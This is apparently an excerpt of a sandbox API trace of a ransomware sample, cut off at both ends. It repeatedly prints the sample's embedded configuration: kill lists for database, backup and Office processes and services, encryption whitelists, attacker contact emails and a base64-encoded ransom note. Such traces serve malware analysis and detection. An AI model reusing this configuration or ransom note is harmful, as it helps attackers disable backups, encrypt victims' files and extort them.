\"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"themepack\"], },\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":20,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\".bat\", \"backup\",\".cmd\"],},\"net\":{\"use\":true, \"ignore\": { \"use\":true, \"disk\":true, \"share\":[\"ipc$\",\"admin$\"], }},\"unlocker\":{\"use\":true, \"ignore\": { \"use\":true, \"pspath\":[\"*:?windows*\",\"*:?winnt*\",\"*:?program file*?vmwar*\"], \"prc\":[\"psexec.exe\",\"system\"], }}}", _EndPtr=0xef9d4, _Radix=0 | out: _EndPtr=0xef9d4*=",\"namesz\":8,\"idsz\":5, \"crmask\":\".mailto[{mail1}].{id}\",\"mail\":[\"2Hamlampampom@cock.li\",\"Galgalgalgalk@tutanota.com\"],\"lfile\":\"{ID}-Readme.txt\",\"lend\":\"SGkhDQpZb3VyIGZpbGVzIGFyZSBlbmNyeXB0ZWQuDQpBbGwgZW5jcnlwdGVkIGZpbGVzIGZvciB0aGlzIGNvbXB1dGVyIGhhcyBleHRlbnNpb246IC57aWR9DQoNCi0tDQoNCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLA0KdGhpcyBjYW4gYmUgdW5kZXJzdG9vZCBieSB0aGUgZmFjdCB0aGF0IHRoZSBjb21wdXRlciBzbG93cyBkb3duLCANCmFuZCB5b3VyIGhlYXJ0IHJhdGUgaGFzIGluY3JlYXNlZCBkdWUgdG8gdGhlIGFiaWxpdHkgdG8gdHVybiBpdCBvZmYsDQp0aGVuIHdlIHJlY29tbWVuZCB0aGF0IHlvdSBtb3ZlIGF3YXkgZnJvbSB0aGUgY29tcHV0ZXIgYW5kIGFjY2VwdCB0aGF0IHlvdSBoYXZlIGJlZW4gY29tcHJvbWlzZWQsDQpyZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeSBhbmQgZXZlbiBnb2Qgd2lsbCBub3QgYmUgYWJsZSB0byBoZWxwIHlvdSwNCml0IGNvdWxkIGJlIGZpbGVzIG9uIHRoZSBuZXR3b3JrIGJlbG9uZ2luZyB0byBvdGhlciB1c2Vycywgc3VyZSB5b3Ugd2FudCB0byB0YWtlIHRoYXQgcmVzcG9uc2liaWxpdHk/DQoNCi0tDQoNCk91ciBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCB5b3UgY2FuJ3QgaG9wZSB0byByZWNvdmVyIHRoZW0gd2l0aG91dCBvdXIgaGVscC4NClRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHQgcHJvZ3JhbSwgeW91IG1heSBkYW1hZ2UgdGhlbSBhbmQgdGhlbiB0aGV5IHdpbGwgYmUgaW1wb3NzaWJsZSB0byByZWNvdmVyLg0KDQpXZSBhZHZpc2UgeW91IHRvIGNvbnRhY3QgdXMgYXMgc29vbiBhcyBwb3NzaWJsZSwgb3RoZXJ3aXNlIHRoZXJlIGlzIGEgcG9zc2liaWxpdHkgdGhhdCB5b3VyIGZpbGVzIHdpbGwgbmV2ZXIgYmUgcmV0dXJuZWQuDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IHNvbWUgZmlsZXMgZm9yIGZyZWUsIA0KYnV0IHdlIHdpbGwgbm90IHdhaXQgZm9yIHlvdXIgbGV0dGVyIGZvciBhIGxvbmcgdGltZSwgbWFpbCBjYW4gYmUgYWJ1c2VkLCB3ZSBhcmUgbW92aW5nIG9uLCBodXJyeSB1cCB3aXRoIHRoZSBkZWNpc2lvbi4NCg0K0KFvbnRhY3QgdXM6DQoxLnttYWlsMX0NCjIue21haWwyfQ0KDQpEb24ndCBmb3JnZXQgdG8gaW5jbHVkZSB5b3VyIGNvZGUgaW4gdGhlIGVtYWlsOg0Ke2NvZGV9\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:?users?*?*temp\",\"*msocache\",\"*:?winnt\", \"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:?windows\", \"*:?program file*?vmware\",\"??*?users?*?*temp\", \"??*?winnt\",\"??*?windows\",\"*?program file*?vmware\", \x09\"*appdata*microsoft\",\x09\"*appdata*packages\",\x09\"*microsoft?provisioning\",\x09\"*dvd maker\", \"*Internet Explorer\", \"*Mozilla\", \"*Mozilla*\", \"*Old Firefox data\",\x09\"*?program file*?windows media*\",\"*?program file*?windows portable*\",\x09\"*windows defender\",\"*?program file*?windows nt\",\x09\"*?program file*?windows photo*\",\"*?program file*?windows side*\",\x09\"*?program file*?windowspowershell\",\x09\"*?program file*?cuass*\", \x09\"*?program file*?microsoft games\", \"*?program file*?common files?system\",\"*?program file*?common files?*shared\",\x09\"*?program file*?common files?reference ass*\",\"*?windows?cache*\",\"*temporary internet*\", \"*media player\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\", \"usrclass.dat*\", \"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\", \"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"themepack\"], },\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":20,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\".bat\", \"backup\",\".cmd\"],},\"net\":{\"use\":true, \"ignore\": { \"use\":true, \"disk\":true, \"share\":[\"ipc$\",\"admin$\"], }},\"unlocker\":{\"use\":true, \"ignore\": { \"use\":true, \"pspath\":[\"*:?windows*\",\"*:?winnt*\",\"*:?program file*?vmwar*\"], \"prc\":[\"psexec.exe\",\"system\"], }}}") returned 51200 [0031.921] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x403800, Size=0x14) returned 0x40e680 [0031.921] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x40e6a0 [0031.921] strtol (in: _Str="8,\"idsz\":5, \"crmask\":\".mailto[{mail1}].{id}\",\"mail\":[\"2Hamlampampom@cock.li\",\"Galgalgalgalk@tutanota.com\"],\"lfile\":\"{ID}-Readme.txt\",\"lend\":\"SGkhDQpZb3VyIGZpbGVzIGFyZSBlbmNyeXB0ZWQuDQpBbGwgZW5jcnlwdGVkIGZpbGVzIGZvciB0aGlzIGNvbXB1dGVyIGhhcyBleHRlbnNpb246IC57aWR9DQoNCi0tDQoNCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLA0KdGhpcyBjYW4gYmUgdW5kZXJzdG9vZCBieSB0aGUgZmFjdCB0aGF0IHRoZSBjb21wdXRlciBzbG93cyBkb3duLCANCmFuZCB5b3VyIGhlYXJ0IHJhdGUgaGFzIGluY3JlYXNlZCBkdWUgdG8gdGhlIGFiaWxpdHkgdG8gdHVybiBpdCBvZmYsDQp0aGVuIHdlIHJlY29tbWVuZCB0aGF0IHlvdSBtb3ZlIGF3YXkgZnJvbSB0aGUgY29tcHV0ZXIgYW5kIGFjY2VwdCB0aGF0IHlvdSBoYXZlIGJlZW4gY29tcHJvbWlzZWQsDQpyZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeSBhbmQgZXZlbiBnb2Qgd2lsbCBub3QgYmUgYWJsZSB0byBoZWxwIHlvdSwNCml0IGNvdWxkIGJlIGZpbGVzIG9uIHRoZSBuZXR3b3JrIGJlbG9uZ2luZyB0byBvdGhlciB1c2Vycywgc3VyZSB5b3Ugd2FudCB0byB0YWtlIHRoYXQgcmVzcG9uc2liaWxpdHk/DQoNCi0tDQoNCk91ciBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCB5b3UgY2FuJ3QgaG9wZSB0byByZWNvdmVyIHRoZW0gd2l0aG91dCBvdXIgaGVscC4NClRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHQgcHJvZ3JhbSwgeW91IG1heSBkYW1hZ2UgdGhlbSBhbmQgdGhlbiB0aGV5IHdpbGwgYmUgaW1wb3NzaWJsZSB0byByZWNvdmVyLg0KDQpXZSBhZHZpc2UgeW91IHRvIGNvbnRhY3QgdXMgYXMgc29vbiBhcyBwb3NzaWJsZSwgb3RoZXJ3aXNlIHRoZXJlIGlzIGEgcG9zc2liaWxpdHkgdGhhdCB5b3VyIGZpbGVzIHdpbGwgbmV2ZXIgYmUgcmV0dXJuZWQuDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IHNvbWUgZmlsZXMgZm9yIGZyZWUsIA0KYnV0IHdlIHdpbGwgbm90IHdhaXQgZm9yIHlvdXIgbGV0dGVyIGZvciBhIGxvbmcgdGltZSwgbWFpbCBjYW4gYmUgYWJ1c2VkLCB3ZSBhcmUgbW92aW5nIG9uLCBodXJyeSB1cCB3aXRoIHRoZSBkZWNpc2lvbi4NCg0K0KFvbnRhY3QgdXM6DQoxLnttYWlsMX0NCjIue21haWwyfQ0KDQpEb24ndCBmb3JnZXQgdG8gaW5jbHVkZSB5b3VyIGNvZGUgaW4gdGhlIGVtYWlsOg0Ke2NvZGV9\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:?users?*?*temp\",\"*msocache\",\"*:?winnt\", \"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:?windows\", \"*:?program file*?vmware\",\"??*?users?*?*temp\", \"??*?winnt\",\"??*?windows\",\"*?program file*?vmware\", \x09\"*appdata*microsoft\",\x09\"*appdata*packages\",\x09\"*microsoft?provisioning\",\x09\"*dvd maker\", \"*Internet Explorer\", \"*Mozilla\", \"*Mozilla*\", \"*Old Firefox data\",\x09\"*?program file*?windows media*\",\"*?program file*?windows portable*\",\x09\"*windows defender\",\"*?program file*?windows nt\",\x09\"*?program file*?windows photo*\",\"*?program file*?windows side*\",\x09\"*?program file*?windowspowershell\",\x09\"*?program file*?cuass*\", \x09\"*?program file*?microsoft games\", \"*?program file*?common files?system\",\"*?program file*?common files?*shared\",\x09\"*?program file*?common files?reference ass*\",\"*?windows?cache*\",\"*temporary internet*\", \"*media player\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\", \"usrclass.dat*\", \"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\", \"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"themepack\"], },\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":20,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\".bat\", \"backup\",\".cmd\"],},\"net\":{\"use\":true, \"ignore\": { \"use\":true, \"disk\":true, \"share\":[\"ipc$\",\"admin$\"], }},\"unlocker\":{\"use\":true, \"ignore\": { \"use\":true, \"pspath\":[\"*:?windows*\",\"*:?winnt*\",\"*:?program file*?vmwar*\"], \"prc\":[\"psexec.exe\",\"system\"], }}}", _EndPtr=0xef9d4, _Radix=0 | out: _EndPtr=0xef9d4*=",\"idsz\":5, \"crmask\":\".mailto[{mail1}].{id}\",\"mail\":[\"2Hamlampampom@cock.li\",\"Galgalgalgalk@tutanota.com\"],\"lfile\":\"{ID}-Readme.txt\",\"lend\":\"SGkhDQpZb3VyIGZpbGVzIGFyZSBlbmNyeXB0ZWQuDQpBbGwgZW5jcnlwdGVkIGZpbGVzIGZvciB0aGlzIGNvbXB1dGVyIGhhcyBleHRlbnNpb246IC57aWR9DQoNCi0tDQoNCklmIGZvciBzb21lIHJlYXNvbiB5b3UgcmVhZCB0aGlzIHRleHQgYmVmb3JlIHRoZSBlbmNyeXB0aW9uIGVuZGVkLA0KdGhpcyBjYW4gYmUgdW5kZXJzdG9vZCBieSB0aGUgZmFjdCB0aGF0IHRoZSBjb21wdXRlciBzbG93cyBkb3duLCANCmFuZCB5b3VyIGhlYXJ0IHJhdGUgaGFzIGluY3JlYXNlZCBkdWUgdG8gdGhlIGFiaWxpdHkgdG8gdHVybiBpdCBvZmYsDQp0aGVuIHdlIHJlY29tbWVuZCB0aGF0IHlvdSBtb3ZlIGF3YXkgZnJvbSB0aGUgY29tcHV0ZXIgYW5kIGFjY2VwdCB0aGF0IHlvdSBoYXZlIGJlZW4gY29tcHJvbWlzZWQsDQpyZWJvb3Rpbmcvc2h1dGRvd24gd2lsbCBjYXVzZSB5b3UgdG8gbG9zZSBmaWxlcyB3aXRob3V0IHRoZSBwb3NzaWJpbGl0eSBvZiByZWNvdmVyeSBhbmQgZXZlbiBnb2Qgd2lsbCBub3QgYmUgYWJsZSB0byBoZWxwIHlvdSwNCml0IGNvdWxkIGJlIGZpbGVzIG9uIHRoZSBuZXR3b3JrIGJlbG9uZ2luZyB0byBvdGhlciB1c2Vycywgc3VyZSB5b3Ugd2FudCB0byB0YWtlIHRoYXQgcmVzcG9uc2liaWxpdHk/DQoNCi0tDQoNCk91ciBlbmNyeXB0aW9uIGFsZ29yaXRobXMgYXJlIHZlcnkgc3Ryb25nIGFuZCB5b3VyIGZpbGVzIGFyZSB2ZXJ5IHdlbGwgcHJvdGVjdGVkLCB5b3UgY2FuJ3QgaG9wZSB0byByZWNvdmVyIHRoZW0gd2l0aG91dCBvdXIgaGVscC4NClRoZSBvbmx5IHdheSB0byBnZXQgeW91ciBmaWxlcyBiYWNrIGlzIHRvIGNvb3BlcmF0ZSB3aXRoIHVzIGFuZCBnZXQgdGhlIGRlY3J5cHRlciBwcm9ncmFtLg0KRG8gbm90IHRyeSB0byByZWNvdmVyIHlvdXIgZmlsZXMgd2l0aG91dCBhIGRlY3J5cHQgcHJvZ3JhbSwgeW91IG1heSBkYW1hZ2UgdGhlbSBhbmQgdGhlbiB0aGV5IHdpbGwgYmUgaW1wb3NzaWJsZSB0byByZWNvdmVyLg0KDQpXZSBhZHZpc2UgeW91IHRvIGNvbnRhY3QgdXMgYXMgc29vbiBhcyBwb3NzaWJsZSwgb3RoZXJ3aXNlIHRoZXJlIGlzIGEgcG9zc2liaWxpdHkgdGhhdCB5b3VyIGZpbGVzIHdpbGwgbmV2ZXIgYmUgcmV0dXJuZWQuDQpGb3IgdXMgdGhpcyBpcyBqdXN0IGJ1c2luZXNzIGFuZCB0byBwcm92ZSB0byB5b3Ugb3VyIHNlcmlvdXNuZXNzLCB3ZSB3aWxsIGRlY3J5cHQgeW91IHNvbWUgZmlsZXMgZm9yIGZyZWUsIA0KYnV0IHdlIHdpbGwgbm90IHdhaXQgZm9yIHlvdXIgbGV0dGVyIGZvciBhIGxvbmcgdGltZSwgbWFpbCBjYW4gYmUgYWJ1c2VkLCB3ZSBhcmUgbW92aW5nIG9uLCBodXJyeSB1cCB3aXRoIHRoZSBkZWNpc2lvbi4NCg0K0KFvbnRhY3QgdXM6DQoxLnttYWlsMX0NCjIue21haWwyfQ0KDQpEb24ndCBmb3JnZXQgdG8gaW5jbHVkZSB5b3VyIGNvZGUgaW4gdGhlIGVtYWlsOg0Ke2NvZGV9\",\"white\":{\"path\":[\"*system volume information\",\"*windows.old\",\"*:?users?*?*temp\",\"*msocache\",\"*:?winnt\", \"*$windows.~ws\",\"*perflogs\",\"*boot\",\"*:?windows\", \"*:?program file*?vmware\",\"??*?users?*?*temp\", \"??*?winnt\",\"??*?windows\",\"*?program file*?vmware\", \x09\"*appdata*microsoft\",\x09\"*appdata*packages\",\x09\"*microsoft?provisioning\",\x09\"*dvd maker\", \"*Internet Explorer\", \"*Mozilla\", \"*Mozilla*\", \"*Old Firefox data\",\x09\"*?program file*?windows media*\",\"*?program file*?windows portable*\",\x09\"*windows defender\",\"*?program file*?windows nt\",\x09\"*?program file*?windows photo*\",\"*?program file*?windows side*\",\x09\"*?program file*?windowspowershell\",\x09\"*?program file*?cuass*\", \x09\"*?program file*?microsoft games\", \"*?program file*?common files?system\",\"*?program file*?common files?*shared\",\x09\"*?program file*?common files?reference ass*\",\"*?windows?cache*\",\"*temporary internet*\", \"*media player\"],\"file\":[\"ntuser.dat*\",\"iconcache.db\",\"gdipfont*.dat\",\"ntuser.ini\",\"usrclass.dat\", \"usrclass.dat*\", \"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"exe\",\"sys\",\"msc\",\"mod\",\"clb\",\"mui\",\"regtrans-ms\", \"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"themepack\"], },\"kill\":{\"use\":true,\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"veeam*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":20,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\".bat\", \"backup\",\".cmd\"],},\"net\":{\"use\":true, \"ignore\": { \"use\":true, \"disk\":true, \"share\":[\"ipc$\",\"admin$\"], }},\"unlocker\":{\"use\":true, \"ignore\": { \"use\":true, \"pspath\":[\"*:?windows*\",\"*:?winnt*\",\"*:?program file*?vmwar*\"], \"prc\":[\"psexec.exe\",\"system\"], }}}") returned 8 [0031.921] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x8, Ptr=0x40e680, Size=0x18) returned 0x40e6c0 [0031.921] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x18) returned 0x40e680 [0031.921] strtol (in: _Str="5, 